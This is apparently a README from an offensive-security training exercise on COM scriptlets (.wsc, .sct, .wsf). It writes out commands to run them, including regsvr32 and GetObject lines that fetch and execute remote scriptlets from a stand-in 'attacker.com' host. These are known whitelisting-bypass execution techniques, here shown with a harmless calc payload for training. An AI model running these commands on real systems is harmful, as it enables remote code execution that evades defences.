# COM Scriptlets

## .wsc

_A file that can be used to instantiate a dodgy COM object by passing it to `CreateObject`_

To execute generated file you need will to load it from another VBScript/JScript/Powershell by instantiating a COM object out of it, like so:

VBScript:

```
x = GetObject("script:http://attacker.com/execute-calc-windows.script.exec.wsc")
x = GetObject("script:C:\Training\Exercises\day1\COM Scriptlets\execute-calc-windows.script.exec.wsc")
```

Powershell:

```
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:C:\Training\Exercises\day1\COM Scriptlets\execute-calc-windows.script.exec.wsc')
```

## .sct

.SCT is a well known COM Scriptlet file format probably documented for the first time by [Matt Nelson](https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba).

To execute it  you need will to:


1) execute it directly in command line:

```
    cmd> regsvr32 /s /u /i:execute-calc-windows.script.exec.sct scrobj.dll

    cmd> regsvr32 /s /n /u /i:http://attacker.com/execute-calc-windows.script.exec.sct scrobj.dll
```


2) or load it from another VBScript/JScript/Powershell by
instantiating a COM object out of it, like so:

VBScript:
```
x = GetObject("script:http://attacker.com/execute-calc-windows.script.exec.sct")
x = GetObject("script:C:\Training\Exercises\day1\COM Scriptlets\execute-calc-windows.script.exec.sct")
```

Powershell:
```
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:C:\Training\Exercises\day1\COM Scriptlets\execute-calc-windows.script.exec.sct')
```


## .wsf

That file can be simply run via WScript / CScript:

```
wscript execute-calc-windows.script.exec.wsf
```

